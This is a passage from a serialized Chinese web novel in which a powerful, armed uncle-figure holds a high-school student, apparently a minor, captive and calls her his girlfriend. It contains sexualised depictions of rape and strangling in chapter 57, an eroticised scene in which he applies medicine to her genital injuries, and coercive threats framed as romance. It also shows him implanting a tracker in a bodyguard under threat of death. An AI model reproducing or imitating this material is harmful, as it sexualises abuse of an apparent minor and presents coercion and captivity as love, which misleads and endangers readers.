那一掌拍过去,陈知念又害怕了,刚才陈寅洛那冰冷的眼眸还在脑海挥之不去。 可她一看到陈寅洛,身体深处便条件反射般地泛起一阵清晰的胀痛。她无法理解,那样可怕的异物闯入,自己为什么没有被撕裂。那感觉如此真切,让她恍惚觉得,能完好无损地躺在这里简直是一个奇迹。 她不想和他说话,抱着被子想转过身去,却不想牵扯到痛处,顿时疼得倒抽一口冷气。 “怎么了?”陈寅洛的声调意外温柔,“哪里不舒服?” 可陈知念非但没感觉到安慰,反而激起更深层的恐惧,刚才被枪威胁的惧意和不得不妥协迎合的屈辱,让她当下只感觉十分厌弃自己。 她拉过被子,把自己裹得更紧,声音闷在里面,小得几乎听不见:“……你走开。” 她听到他沉默了两秒才说:“起来。我抱你去清理。” 已经恢复成惯常的清冷。 陈知念咬唇憋了憋,思绪纷乱,根本就抓不住自己到底该是情绪。 她觉得自己应该愤怒,应该痛恨,应该诅咒这个强占了她的人。 可不知道为什么,这些情绪她统统拾不起来。 她的脑子里只有他冷冽的眼眸,只有他曾经掐着自己脖子的画面,只有他拿枪指着自己的记忆。 但她无比确定一件事,这样是不对的,她不想这样,她也无法接受他。 他们之间,绝不是能若无其事地亲昵、抱着去洗澡的关系。它模糊了仇恨与温存的界限,让她害怕自己会在这种扭曲中彻底迷失。 于是她抱着被子坐起来,“陈寅洛,我们可以……谈谈吗?” 陈寅洛站起身来,一米九的身高沉沉笼罩而下,极具压迫感。陈知念蜷了蜷指尖,稍稍抬眼看去,一眼便看到他赤裸的上半身,刚才交缠间的记忆倏然涌入脑海,她耳根一热,飞快瞥开视线。 “你想怎么谈?”他开口,听上去有点低压。 “我……”陈知念不自在地向后缩了缩,不用抬头,都能感受到他实质般的视线。 顶着压力,她强迫自己声音不那么抖:“你、你说你喜欢我……如果你真的喜欢我,就不应该这样,” “我知道你救了我爸爸,这份恩情我记在心里,一辈子都记得。我们能不能……就到此为止?今天的事当作从来没有发生过?我可以写欠条,以后我工作了,多少钱都能还你,或者我……我还能帮你做别的事,只要你放我走……” 男人周身的气压骤然降低。 “陈知念,你跟我谈条件?” 他的声音淡淡的,几乎没有语调起伏,听不出怒意,但就是能让人感到发寒。 “你就这么想逃离我?” 声音更冷了,“我给过你机会,是你自己为了救陈毅衡,主动送上门,求着我帮忙的,忘了?” “需要我帮你回忆一下?” 陈知念心脏砰砰乱跳,抿着唇根本就不敢回答。她承认,她的确很过分,陈寅洛救了爸爸,自己却一声不吭就想单方面解除交易,的确很可耻。 “你说,‘小叔叔,救我爸爸,要我做什么都行’。” 那只强劲有力的大手一把攥住她下颌,强硬地掐住她,仰起头来。 所有的温柔都变成了幻梦,他又变回了那个冷漠无情的陈寅洛。 “结果呢,利用完我就想一脚踢开?陈知念,你们这些自诩道德的文明人管这个叫什么?过河拆桥?还是……忘恩负义?” “我没有忘恩负义!”陈知念终于忍不住反驳,“我只是想过回自己的生活,我可以补偿你,我真的可以……” 钳住她的大手骤然用力,她整个人便被甩偏了头,一下失去了平衡,只能急忙用手肘撑在床上。 “补偿我?你有什么资格跟我谈条件?” 他可以原谅她撒娇、闹脾气,可以原谅她向他开枪,只要她服软认错,他觉得原谅也不是不行。 但想逃离他,不可原谅。 “想划清界限,撇清关系?想一走了之?觉得留在我身边是屈辱?和我上/床是恶心?” 他每说一句,陈知念心里的恐惧就又多一分。她不可遏制地抖,却又蓦然升起无力感。 她想要过回自己的生活有什么不对。 她知道自己可耻,被骂忘恩负义理所应当,但她只是想回到正常的生活轨迹,有什么不对。 陈寅洛已经失去了最后的耐心,径直钳住她双腕扣住,高高举过她的头顶,死死按在枕头上。另一只手毫不留情地攥住她紧裹在身的被子一把掀开,她身上仅存的遮蔽物被轻易剥夺,微凉的空气瞬间包裹住她不着寸缕的肌肤,刚才那些暧昧的痕迹和此刻的恐惧一同暴露在灯光下,无所遁形。 男人危险的目光沉沉落下,“陈知念,想离开我,除非我死。” “你!你又要干什么?!” 眼看着陈寅洛越逼越近,陈 知念油然生出一种不好的预感,无法抑制的恐惧,整个人就像掉进了无底深渊一般,浑身战栗。 陈寅洛高大的身躯站在床边,垂眼俯视她,毫不费力地捉住她脚踝将她拖至身下,膝盖一顶,双/腿就被迫分开。 “觉得恶心,屈辱,那就……好好记住这份感觉。” “不要……”陈知念拼命地摇头,努力想合/拢双/腿。 整个房间都回荡着她的哭泣和哀求。 可陈寅洛漆黑的眸子里冷淡无波,更不要说对她心软半分。 像是岩浆爆发,心里的戾气破笼而出,没有一丝温柔可言,毫无顾忌又横冲直撞。 “不呜呜……我错了……求你,疼、我疼……” 陈知念的意识在剧痛中模糊,只觉得整个人从内到外都要被碾/碎了。 “陈知念,你只会一遍遍说你错了,说对不起,却从来不会反省。你说,我是不是真的对你太温柔了?” “——才会让你胆敢忘了我是个什么样的人。” 他纤长的手指一寸一寸握住她脆弱的脖颈。泪水从陈知念眼角滑落,湮灭在鬓角,无边的恐惧彻彻底底将她席卷,身体的剧痛此刻竟显得微不足道,远不及心底那被绝望吞噬的万分之一。 她会死吗。 身体的感知像是飘远了,她浮在半空中,随时可能羽化升天,然后彻底的消失在这个世界。 求生的意志摈弃了一切,她断断续续哀求: “呜呜……我不离开,小叔叔……我不走,我永远陪着你,求求你,慢点……” 足足过了两秒,陈寅洛才好似听到了她的保证,他缓了缓,松开手,眸光垂落下来,似乎在确认。 “同样的把戏,你觉得我会一而再,再而三的上当吗?” “没有。” 陈知念呛咳着,总算喘了口气,可她不敢犹豫,努力想撑起上半身,然而腿/心的痛楚又让她开始哆嗦。 他并没有离开。 “小叔叔……”她哭的一抽一抽的,“抱抱我好不好。” 陈寅洛漆黑的眼眸一眨不眨地看着她,面无表情也不含一丝戾气。 陈知念握住他的手臂,声音低哑地央求道:“抱抱我吧,我好疼……” “只有在求我的时候,才会假装服软。” 陈寅洛动作未歇,他一直垂着眼眸,长长的睫毛挡住了他眼里的所有情绪。 可这种缓慢的折磨下,痛楚竟渐渐消退,荒诞发麻的电流蓦然出现,沿着脚趾一路往上蹿,背叛了她的意志,掠夺了她的理智,身体开始向他投诚。 “唔——” 陈知念呜咽一声,将头深深埋进枕头里,再不敢泄出一丝声音。 “陈知念,看着我。” “不要。” 陈知念拒绝,下一秒就被发狠的力道被迫妥协。她从枕头里露出头,凌乱的发丝缠在白皙的脸上,眼睛红红的,鼻尖也泛着红,嘴唇更是一片绯红。 可怜极了。 陈寅洛面上的冰冷终于消散了些,她这副只能向他求饶的模样,像一剂良药,熨平了他因她逃离念头而燃起的暴戾。他抬手拂去她脸上的泪痕,“知道错了?” 陈知念咬唇,“知道了。” “错哪了?” 陈寅洛不紧不慢地,指尖在她脸颊捏了又捏,那点子怒火好像是发完了,回归了一缕人性。 陈知念晕乎乎的,想躲,四肢却又软到不可思议。怎么会这么奇怪,怎么会这么……奇怪。 “嗯?”陈寅洛声音一沉,“错哪了?” “别!” 陈知念急促惊呼,双手胡乱推拒,“错……我不该、不该想要躲着你……” “没了?” “……我、我不知道。” 但很快她便被突如其来的变奏强行扯回涣散的思绪,开始哀泣求饶,“不……不想离开你。” “你这张嘴惯会哄人,怎么保证呢?”陈寅洛不依不饶。 载沉载浮中,陈知念只能凭本能回:“……你想怎么样……” “简单。” 他终于俯下身吻了吻她脸颊,“一会我松开,你就自己上来。” “要是敢躲,”他齿尖不轻不重地磨过她脆弱的耳垂,留下细微的刺痛,“我就把你铐在床头,让你三天三夜下不了这张床。”—— 作者有话说:[爆哭]我不行了,我要被掏空了,简简单单日个3000叭~~ 第58章 晨曦微露,陈寅洛在异样的燥热中醒来,怀里的身躯滚烫得惊人,像揣了个小火炉。 他伸手探向她额头,指尖触及的温度烫到吓人。 昨夜那些激烈的画面瞬间闪回脑海——她的哭泣、颤抖,以及自己蛮横的索求。 陈寅洛眸色一沉,迅速起身披上睡袍,拨通了电话,“叫林医生现在过来,快点。” 他回到床前,俯身拍了拍她滚烫的脸颊,“陈知念,醒醒,把衣服穿上。” 昨晚疯狂过后,他将昏沉无力连指尖都抬不起来的她抱进浴室,草草冲洗掉彼此身上的黏腻,只用一条浴巾胡乱擦干,光着就塞进了被子里。 陈知念眉心蹙了起来,轻轻哼了一声,没醒。 陈寅洛不再试图叫醒她,转而从衣柜里拿出自己的干净衬衫,动作生硬地扶起她绵软无力的身子,将衬衫套了上去。 然而一低头,光溜溜的两条腿露在外面,白嫩嫩的,格外扎眼。他眉头微蹙,想起昨夜,那条单薄的内裤大概早被他粗暴地扯烂,不知丢在了哪个角落。 没有丁点内疚,陈寅洛伸手扯过被子,将她从腰腹到脚踝都裹了进去,只露出一个毛茸茸的小脑袋。 雷子在外面敲了敲门,声音压得很低:“洛哥,军方采购部的视频会议,五分钟后开始。张首长那边的人已经在线等了。” 陈寅洛的视线从陈知念滚烫潮红的脸上扫过,眉头蹙紧。他沉默片刻,冷声道:“回复他们,我我方在最后复核时,注意到条款中有一处模糊地带,我需要30分钟让法务团队给出最明确的注释建议,以免后续产生歧义。” “是。” 没等几分钟,林医生就到了。 “高烧,39度8。”林医生收起体温计。 陈寅洛站在阴影里,“怎么回事?” 林医生拿起听诊器:“具体原因,需要检查才知道。”她稍稍掀开被子,露出陈知念的上半身,轻而易举就看到了女孩露出的锁骨、脖颈处的暧昧红痕,和轻微淤青。 她瞬间了然,斟酌了一下说道:“体表存在多处软组织损伤和皮下出血,表明近期经历过持续且剧烈的外部压力。这种程度的消耗和应激反应,会直接导致身体进入高度应激状态,加剧炎症和高热。” “目前急需退烧和抗炎处理。我先给她用药,但如果持续不退,可能需要进行更深入的生化检查,排查是否有继发性感染。” 陈寅洛捏了捏眉心:“用药吧。” 林医生利落地注射好退烧针和消炎针,“洛哥,有情况随时叫我。” 陈寅洛挥挥手,林医生就无声退了出去。 房门被轻轻合上,房间里重归寂静,只剩下两人深浅不一的呼吸声。 陈寅洛陷在沙发,指尖动了动,想抽烟,但忍住了。他就这样静静坐了约莫两分钟,目光沉沉地落在床上那团微微隆起的被褥上,随后利落起身换好衣服,离开了房间。 视频会议持续了将近两个小时,结束后陈寅洛第一时间又回到卧室。 陈知念还没苏醒的迹象。他几次起身探向她的额头,掌下的温度已经 不再烫人,退烧针显然起了作用,可人却仍深陷在昏睡之中。 期间林医生又被叫来了一趟。她仔细检查了陈知念的瞳孔反应、心率,又量了体温,随后收起仪器,看向一旁面色沉寂的陈寅洛。 “烧退了大半,也没有反复的迹象……应该是太累了,体力消耗太多。” 下午,许律师来了,身后还跟着俩助手。 “陈先生,您要的材料准备好了。”他将公文包放在客厅的茶几上,拉开拉链,露出里面的文件袋、录音笔和印泥盒,“按您的要求,我准备了打印遗嘱的模板,也带了两名无利害关系的见证人。” 陈寅洛走到沙发边坐下,“直接走流程,别浪费时间。” “好的。”许律师推了推眼镜,展开文件,“流程上需先确认您的民事行为能力健全,稍后我们会进行简单的认知问答。另外,遗嘱处分的财产需权属清晰,相关凭证已核对完毕。” “可以。”陈寅洛下颌微点。 许律师示意助手开启录音与摄像设备。 “请陈述您的遗嘱意愿。” 很快流程全部走完,陈寅洛接过笔,在末尾签下名字,随后,两名助手作为无利害关系见证人依次签字。 文件被放入特制的防火防水遗嘱袋,许律师当着他的面进行火漆密封。 严彬看着陈寅洛签完字,垂下眼来。洛哥是什么人,向来无法无天,信的是现世报,活的是当下。 在他的记忆里,陈寅洛只谈过一次这事,当时他说:两眼一闭,腿一蹬,钞票堆成山那也是别人的。男人得想着怎么把仇家全送走,自个儿站到最后。立遗嘱?那玩意儿有个屁用,是怕到了下面没人给你烧纸吗? 但现在不一样了。 夜色渐深,卧室里只留了盏床头小灯,陈知念的睫毛颤了颤,终于缓缓睁开了眼。 刚醒时意识还飘着,她盯着天花板看了好一会儿,才后知后觉地想动一动。可这一动,一阵钝痛便先从四肢百骸弥漫开来。她试着动了动手指,强烈的酸软感立刻从手臂蔓延到肩背,浑身上下像是被拆开重组过一般,每个关节都在发出无声的抗议。 她倒抽一口冷气,想蜷缩身体,腿心却突然传来尖锐的刺痛,带着灼热的酸胀感,让她瞬间僵住。 “醒了?” 平稳无波的嗓音自身边响起,陈知念轻轻一颤,抬眼看去。 陈寅洛坐在单人沙发里,腿上放着一台轻薄的手提电脑,屏幕反射的幽光映在他瞳孔,显得他无比疏离。 陈知念没回答,垂下眼睑,昨夜的记忆回笼。 每一个画面都在提醒她,硬碰硬,只会让自己头破血流。 陈寅洛吃软不吃硬。 如果他喜欢她服软,那她就该试着软下来,至少该在当下麻痹他。 这个念头一冒出来,她就觉得喉咙发紧,像是吞下了什么苦涩的东西,可一想到他的强硬,她又强迫自己咽下这份屈辱,接受这个现实。 再抬眼时,她努力压下眼底的抗拒,“小叔叔,我有点渴。” 陈寅洛敲击键盘的指尖停顿,终于从屏幕前抬起眼,目光沉静地看了她一眼。随即放下电脑,站起身来倒了杯温水,折返回来,递给她。 陈知念接过水杯,急切地喝了一大口,温水滑过干涩刺痛的喉咙,带来片刻的舒缓。她是真的渴坏了,也疼得厉害。 “醒了就起来,吃饭。” 冷冷淡淡,听上去憋着气。 陈知念蹙了眉头,仔细地想。记忆断断续续闪过,终于想起来,昨晚他松开自己后,她不但没有乖乖坐上去,反而用尽最后力气踹向他,试图挣脱。 结果可想而知。 她被更粗暴地拽了回去,混乱中,她还红着眼怒斥,让他“去死”“只会用暴力”“不如杀了她”之类的…… 陈知念蜷缩了一下身体,这个细微的动作立刻牵动了浑身上下的酸痛,尤其是腿心难以启齿的肿痛,让她瞬间沁出了生理性的泪水。 她抬起头,眼圈自然而然地红了,“……我起不来,我疼。” 委屈极了,扁了扁唇,泪珠就挂在了睫毛上。 悄悄观察他的反应,又加了一句:“浑身都疼……一动就像要散架了……” 陈寅洛垂眸看着她。 眼泪挂在她睫毛上,要掉不掉,扁着唇抱怨“浑身都疼”的样子,确实比之前张牙舞爪或唯唯诺诺的模样顺眼得多。 他倾身,“现在知道疼了?昨晚踹我的时候,胆倒挺大。” 话虽这么说,他还是伸手探向她额头,确认温度已经降下来。随即弯腰,连人带被将她整个打横抱了起来。 “疼也忍着。”他抱着她朝餐厅走去,“吃完饭让林医生再看看。” 陈知念连忙箍住他脖子,被他打横抱起的瞬间,才惊觉身下凉飕飕的——除了那件宽大的男士衬衫,她里面空无一物。 她脸颊蓦地烧红:“……我衣服呢?” 陈寅洛脚步未停,陈知念只能看到他冷峻分明的下颌线。 “哦,弄坏了,丢掉了。” 语气里听不出半分愧疚,只有理所当然。 食不知味地吃了一碗粥,人又被抱回了卧室,林医生也立即赶到。 简单检查后,林医生说:“烧已经退了,脉搏和血压也趋于平稳。看来已经没什么事了,多注意休息,补充水分就好。” 陈知念躺在床上,嘴唇张了又闭,腿心深处隐秘的肿痛和周身酸痛持续传来,她想问点什么,却又羞于启齿,只能将脸微微偏向枕头。 “她说她身上疼,怎么回事。”陈寅洛发问。 “……”林医生心道,怎么回事你不知道?但她不敢说出口,只能借着整理药箱的动作掩饰神情,用尽可能专业语气婉转道:“陈小姐身体有多处软组织损伤和肌肉过度拉伸。这种程度的……身体消耗,感到疼痛是正常的生理反应。建议静养,避免……剧烈运动。” 她斟酌着用词,点到即止。随后,她从药箱里取出一盒小药膏,放在床头柜上。 “如果觉得哪里……不适,可以涂在里外,有消肿镇痛的效果。一天两次。” 林医生离开后,陈知念缩在被子里不敢出来,连头发丝都透着无地自容的羞愤。 太丢脸了。 陈寅洛浑然不觉,信手拿起药膏,指尖漫不经心地转动着,目光落在被子里那团微微隆起的轮廓上。 “你自己涂,还是我帮你涂?” 第59章 “我自己涂!” 陈知念立刻从被子里探出头,伸手抢过他手里的药膏,像是生怕他反悔。 “行。”陈寅洛没意见,从善如流地松手,靠在床头。 陈知念拆开药盒,用指尖挖了一小块,忽然,余光瞥见陈寅洛还靠在床头,目光直直地落在自己身上,连移都没移。 她耳根蓦地一热,连脸颊都泛起了淡淡的粉色,小声提醒道:“……你不出去吗?” “这是我的房间,你在我的地盘上涂药,还要赶我走?”陈寅洛理直气壮地反问。 陈知念被他的语气震惊到,诧异抬头,忍不住稍稍提高了音量:“可是……你在这里,我怎么涂药?” 腿心的伤口本就私密又敏感,他盯着看,她连抬手的勇气都没有,更别说处理伤口了。 “原来你说这个。”陈寅洛眉峰一挑,“涂个药而已,有什么可躲的?你身上哪个地方我没看过、没碰过。” “别磨蹭,快点。我在这儿看着,免得你有地方没涂到。” 被他理所当然的模样气到,陈知念把药膏往床边一放,翻身拉过被子将自己整个蒙住,赌气道:“那我不涂了!” “不行。” 陈寅洛拧眉,耐心告罄。他伸手,不算温柔地将人从被子里挖出来:“伤口不涂药,感染了怎么办?你想再发一次高烧?” “别碰我!”陈知念厉声抗拒,可触到他漆黑的眼眸,她瞬间噤声,声音又软了下去,“对不起,……你弄疼我了。” 陈寅洛不耐烦了,好心被当驴肝肺,不爽的很。 “陈知念,给你两个选择。自己涂,我看着;我帮你涂。” 声音一沉,“选。” 屈辱感像滚烫的岩浆灼烧着五脏六腑。要她当着他的面,自己伸手触碰那个又疼又私密的地方,简直比死还难堪;可让他帮忙涂,又要承受他的触碰,还要面对他的目光,同样是折磨。 但陈寅洛说二选一,就绝不会给出第三个选项。 陈知念眼眶通红地瞪着他,拼命强忍眼泪,破罐子破摔地吼了出来:“你帮我涂!” 说完,陈知念鸵鸟似的将将滚烫的脸颊深深埋进枕头里,只要听不见,看不见,就当作没发生。 陈寅洛洗干净手,很快又回到床边。指尖抠出适量药膏,难得放缓了语气。 “腿分开,我轻点。” 埋在枕头里的人纹丝不动,陈寅洛蹙眉,掌心不轻不重地拍了下她的腰侧。 默了默,鸵鸟似的人终于不情愿地稍稍分开了腿。 他的指尖刚触到那片红肿的肌肤,她的腿就倏地一颤,连脚趾都蜷了起来,枕头里更是溢出一声呜咽。 他扫了一眼,没什么表情,手下动作却又放轻了几分,在外侧红肿处轻轻打圈,将药膏慢慢揉开。 等外侧涂得差不多,他收回手,重新蘸了点药膏。 “里面也要涂。”他客观陈述事实。 “不要。” 拒绝的声音从枕下溢出,双腿急切地并拢蜷缩,就想往被子里钻。 陈寅洛一把攥住她脚踝,“我轻点,很快涂完。” 他沾着药膏的指尖探入更深处,刚触到那入口,她的身体就剧烈地颤了一下,像被电流窜过似的,连带着攥着枕头的手指都收紧了几分。 枕头里的呜咽瞬间变响,夹杂着细碎的气音,像是承受不住的轻哼。 陈寅洛的指尖顿了顿,药膏的清凉蹭在温热的肌肤上,连他自己都觉得指尖有些发烫。他一点点探入,将药膏细致地涂抹在泛红的内壁。指腹能清晰感受到那紧绷狭小,以及她细微的颤抖,每一次轻蹭,都能引来她更明显的颤抖,连脚趾都蜷得更紧了些,露出的脚背绷着好看的弧度。 他的喉结滚了滚,目光落在她那因羞耻和悸动而泛着更浓的粉色肌肤,心里莫名窜起一股燥热。他加快了动作,却也没失了细致,很快,里里外外都涂完了。 陈寅洛收了药膏,站起身来去浴室冲了个澡。等他出来的时候,那只鸵鸟还埋在枕头里,不肯面对现实。 他上了床,将人往自己这边揽了揽,“出来,上个药而已,至于把自己给闷死?” 人还是没动静,陈寅洛蹙眉,过了两秒,枕头里响起细细碎碎的哭声。 他支起身,不耐地去扯枕头,“哭什么哭,给我滚出来。” 陈知念终于露出了脸,眼睛又红又肿,脸颊上还有压出来的褶皱印子。 圆眼睛像炸了毛的猫,恶狠狠地瞪着他:“都怪你!都怪你!你还要凶我!” 眼泪像断了线的珠子,大颗大颗滚落。 “我疼死了!我难受死了!你走开!走开啊!” 那委屈爆发得毫无预兆,像只张牙舞爪却毫无威胁的幼猫。陈寅洛非但没动怒,反而莫名觉得很是可爱。 他翘了翘唇,手臂一伸,不由分说地将人捞进怀里,任由她的眼泪鼻涕蹭湿他胸前的衣料。 “行了,别嚎了。”他揉揉她发顶,“下次我轻点。” 听到这句意有所指的话,陈知念瞬间想偏,羞愤之下,她想也没想,腿一伸就朝着他踹了过去。 可她的脚踝还没碰到他,就被一只大手轻而易举地凌空握住。 陈寅洛的掌心滚烫,力道不轻不重,却像铁钳般让她动弹不得。 “刚上完药就乱动,”他垂眸瞥了一眼她腿间,“看来还是不够疼。” 果然,陈知念立刻不动了,像被捏住后颈的猫,安安静静地蜷在他怀里,哭也不哭了。 骨节分明的手按住她脑袋,抵在自己肩窝,“睡觉。” 陈知念垂着眼睑,犹豫了一会,仰起头开口:“明天……我能不能去学校上课?” 男人没什么反应,脸上也瞧不出情绪。 她眨眨眼,鼓起勇气又小声问了一遍:“小叔叔,可以吗?” 男人终于垂眼,寒潭般的眼眸落在她脸上,陈知念本能地缩了缩脖子。 她屏住呼吸,小心翼翼保证:“我保证,放学后乖乖回来,绝对不会逃跑的。” “是么。” 是惯常的冷冽,陈知念听不出有没有触怒他,但她必须要为自己争取一点自由。 她在他颈窝蹭了蹭,努力放软了语气又不至于显得过于讨好。 “真的,小叔叔……升学考试就剩几个月了,我落下的功课太多,再不回学校,就真的跟不上了。” 男人不说话,时间一秒秒过去,就在陈知念以为他不会轻易答应的时候,他低沉的声音打破了凝滞的空气。 “可以。” 还来不及高兴,他又说,“必须得有人随身保护你。” 陈知念听出来了,其实就是监视的意思。 她抿了抿唇,干脆寸进尺地提出另一个要求:“我还想回去看看爸爸妈妈。” “陈知念,”果然,男人又不耐烦了,“你是不是觉得,我每次答应你,都是欠你的?让你上学,反倒让你学会得寸进尺了?” 陈知念咬着唇不说话了,低垂的睫毛遮住了眼帘,也不知道在想什么。 陈寅洛等了一会,没回应,表情不太好看地闭上了眼,打算睡觉。 可刚闭上眼睛,怀里的人就不安分地动了动。 随即唇上像是覆上了什么柔软的东西,陈寅洛骤然睁开眼,对上的是陈知念泛着水光的眼眸。 她又低头啄了啄。 然后怯生生地仰头看他,“这样可以吗?” 陈寅洛抿唇看她,不回答。 陈知念忐忑不安地望着他,心里七上八下地思忖,难道没用了?可是以前她亲亲他,他都会答应的。 下一秒,陈寅洛忽然伸手,不由分说地将她按回蓬松的被子里,哑声命令道:“行了,睡觉。” —— 第二天清晨,陈知念早早就醒来了,却没想到陈寅洛比他更早,别墅里已经没了他的人影。 陈知念找了一圈,也看不到人,心里开始踌躇,说好的今天让她去学校,是不是反悔了? 她心情郁闷地吃完早餐,正准备闷闷上楼,大门却被推开了。 阿星吊儿郎当地站在门口,“嫂子,洛哥吩咐了,让我送你去学校。” 那声“嫂子”让陈知念耳根瞬间烧了起来。她想反驳,话到嘴边却又咽了回去,只结结巴巴应了声:“知、知道了……你稍等,我马上来。” 她噔噔蹬跑到楼上,想上药,又模模糊糊记起好像自己还在睡的时候,陈寅洛已经替自己上过了。这药膏确实很有用,她今天醒来就已经好多了,不怎么疼了。 简单收拾了一下就下了楼,车已经停在门口。 阿星替她拉开车门,陈知念拘谨地道谢。 弯腰坐进后座时,她才注意到副驾驶还坐着一个人。 阿星从后视镜里瞥了她一眼,随口介绍:“嫂子,这是陆野。以后我不在的时候,由他负责保护您上下学。” 副驾驶上的少年闻声转过头来。他约莫十七八岁,眉眼深邃,眼窝微陷。 陆野!! 陈知念惊诧着瞪大眼睛,正要脱口喊出他的名字,少年却先一步勾起嘴角,露出一个疏离的微笑:“陈小姐,你好,我是陆野。” 他的眼神平静无波,像是从未见过她一般—— 作者有话说:[求你了][求你了]做饭苦手,在线求营养液 第60章 “老大,人带来了。” 阿星侧身让开,一个约莫十七八岁的少年跟着走了进来,在离书桌几步远的地方站定。陈寅洛从屏幕前缓缓抬起视线,审慎的目光落在少年身上。 个子很高,肩背挺拔,穿着简单的黑色T恤,包裹着线条利落的紧实肌肉。一张脸却生得干净,眉眼间甚至带着点这个年纪特有的青涩,乍一看有种人畜无害的错觉。 “叫什么名字。”他问。 少年挠了挠头,拘谨道:“陆野。” “ 老大,这小子确实能打,下手狠,枪法也稳。”阿星在一旁补充,语气带着几分找到宝的满意,“自从阿胜折了以后,我观察他一阵子了,抗压、听话、背景也干净,脑子活络,是个好苗子。” 陈寅洛锐利的目光打量了许久,像是要穿透那副看似顺从的皮囊,掂量出内里的每一分忠奸与轻重。 “背景干净?” “绝对干净!”阿星立刻应道,“家里就一个脑子不太灵光的弟弟相依为命。之前为了糊口,在金牙五的地下拳场打黑拳,没跟其他势力有过瓜葛。” 陈寅洛闻言,眼底的审视才略微淡去。他收回视线,重新看向屏幕,“带他下去,植入皮下定位器。” 下一秒,他目光扫回陆野脸上,“人丢了或者出了事,你和你弟弟,就用命抵。” 陆野回望,眼眸似乎是弯了弯,“明白。” 阿星将人带下去,陈寅洛从书房起身回到卧室,被子里的人还在睡,长长的睫毛安静垂落着,小巧的鼻翼微微翕动,整张脸透着一股不设防的静谧。 陈寅洛没吵醒她,掀开被子一角,轻手轻脚地替她涂完药,随即将人裹好。 下了楼,严彬已经停好车等在门口。 车子驶向私人停机坪,陈寅洛迈步跨上直升机。半小时后,飞机降落在白塔城可托海机场。舱门一开,他又径直坐进等候的专车,朝市政厅方向疾驰而去。 接连开了两场会议,刚回到办公室,张明达的秘书便敲响了门:“陈议员,议长请您过去一趟。” 到达张明达办公室,沙发上坐了两个人。 张明达本人,以及面色铁青的陈毅衡。 陈寅洛神色未变,径直走向空着的单人沙发坐下,像是早有所料。 陈毅衡一脸愤恨,对张明达控诉道:“议长!我郑重提议,必须将陈寅洛这种公然藐视法纪、肆意妄为的人员清除出议会队伍!” 他转头狠狠瞪了陈寅洛一眼,继续道:“同时,我要求白塔警署立即对他启动专项调查!” 张明达双手向下虚按,语气沉稳地打圆场:“老陈,稍安勿躁。事情总要给人一个说明的机会。”他转而望向陈寅洛“寅洛啊,老陈这边提出一项严肃指控,称你涉嫌在他私人住宅非法安装□□,并威胁其家人安全。有这回事吗?” 陈寅洛往后一仰,交叠起双腿,挑眉笑道:“议长,您是了解我的。我一向最遵纪守法。” 他目光转向陈毅衡,带着一丝戏谑,“陈先生,指控是需要证据的。你报警了吗?搜查令申请下来了吗?找到任何□□残留了吗?如果没有,我可以理解为你这是在滥用议员的申诉权,对我进行恶意诽谤吗?” 陈毅衡被这句反问噎得脸色由青转红,当晚他把家里翻遍了,都没找到炸/药的痕迹,除了那么计时器,什么都没有,正因如此,所以他才没有报警,只能来议会施压。 “你……你简直无耻!” “说话要负责任。”陈寅洛笑容不变,眼神却冷了下来,“我的律师团队很乐意就诽谤罪与您深入交流。” 闻言,陈毅衡猛地一拍桌子,指着他怒叱:“那我女儿呢?!你非法拘禁我女儿,这是不可抵赖的事实!只要你把念念还给我,我可以考虑既往不咎!” 张明达不动声色的喝了口茶,眼底掠过一缕微光,想不到陈寅洛还有这爱好?这倒是个拿捏他的新把柄。 陈寅洛低低一笑,“非法拘禁?” 他抬眸看向陈毅衡,好整以暇:“二哥,你莫非是忘了?白纸黑字,现在我才是陈知念合法的监护人。她住在监护人家里,接受保护,有什么问题?” “你放屁!”陈毅衡气得浑身发抖,整张脸涨成了猪肝色,“合法?我才是她亲生父亲!你用了什么龌龊手段搞来的监护权,你自己心里清楚!” 陈寅洛语气轻飘飘地,“手段不重要,结果才重要。现在,法律意义上,名正言顺。” 他指尖在太阳穴轻敲了一下,忽然想起什么,补充道:“哦,对了,忘了告诉你。监护权是过去式了——现在,陈知念是我女朋友。我们正在认真交往。” “你说什么?!你混蛋!她还是个孩子!”陈毅衡如遭雷击,瞳孔骤然收缩,震惊到失语。 陈寅洛勾勾唇,站起身来走近他,在他气得发抖的肩膀上用力拍了两下,“所以,以后私下里,咱们就是一家人了。别动不动就喊打喊杀的,岳父大人。” 眼看着陈毅衡气得浑身发抖,马上要失控,张明达终于放下茶杯,适时地站了起来,挡在了两人中间。 “好了好了,老陈,你先冷静一点。”他伸手按在陈毅衡剧烈起伏的肩膀上,将他按回沙发,“都是一家人,有什么话不能好好说?” 紧接着,他转向陈寅洛,笑道:“寅洛啊,你也是。既然有了新的关系,那就更要注意方式方法,讲究个你情我愿嘛。年轻人感情热烈是好事,但也要注意分寸,别让关心则乱的家人误会,是不是?” “议长说的是,我一定注意分寸。”陈寅洛从善如流地点头,“岳父大人,你看什么时候有空,我们坐下来好好喝杯茶,聊一聊?毕竟,以后就是一家人了。” 他这番火上浇油的话,用最正经的语气说出来,杀伤力翻了十倍。 陈毅衡胸口剧烈起伏,所有的修养在这一刻彻底崩坏。 “陈寅洛,我操/你祖宗!给老子滚——!!” —— 白塔育英高中,陈知念轻轻敲响办公室门。 “请进。” 林老师正伏案批改作业,抬头见是她,推了推眼镜,语气温和:“陈同学,有什么事吗?” “林老师,”陈知念将一张填写好的申请表轻轻放在桌面上,“我想申请曼萨尼约的洛桑威尔学院,需要您签字盖章。” 林老师明显愣了一下,拿起表格仔细看了看,眉头微蹙:“洛桑威尔?陈同学,你之前的目标一直是星曜学府,为此努力了这么久。以你的成绩,冲刺星曜的希望非常大。” 她放下表格,语气转为关切和不解,“从学术声誉、资源平台任何方面看,星曜都远优于洛桑威尔。能告诉老师,为什么突然做这个决定吗?” 陈知念迎上老师的目光,早已准备好的理由流畅而平静:“谢谢老师。我仔细研究过,洛桑威尔的‘文化遗产保护与修复’专业是全联邦顶尖的,实践机会非常多,这比星曜纯理论的方向更吸引我。我觉得……那更适合我未来的发展。” “而且,曼萨尼约那座古城本身,就是一座活的历史博物馆。能在那种环境里学习,对我来说比排名更重要。” 林老师凝视着她,像在判断这番话里有几分是经过深思熟虑的。 “你想清楚了?”她叹息。 “嗯,想清楚了,老师。” 林老师拿起笔,“三月份就是洛桑威尔学院的报考时间,时间很紧迫了,我希望你也要做好准备。” 陈知念点头,“谢谢您,林老师。” 回到教室已经是放学时间,陈知念正收拾书包,唐芊芊又凑了上来,不解地问:“知念,你真的要去洛桑威尔吗?那里离白塔那么远,如果你去了,我们是不是就很难见面了?” “还有,为什么今天你上学,我看到你身后还跟了两个人,他们是什么人啊?” 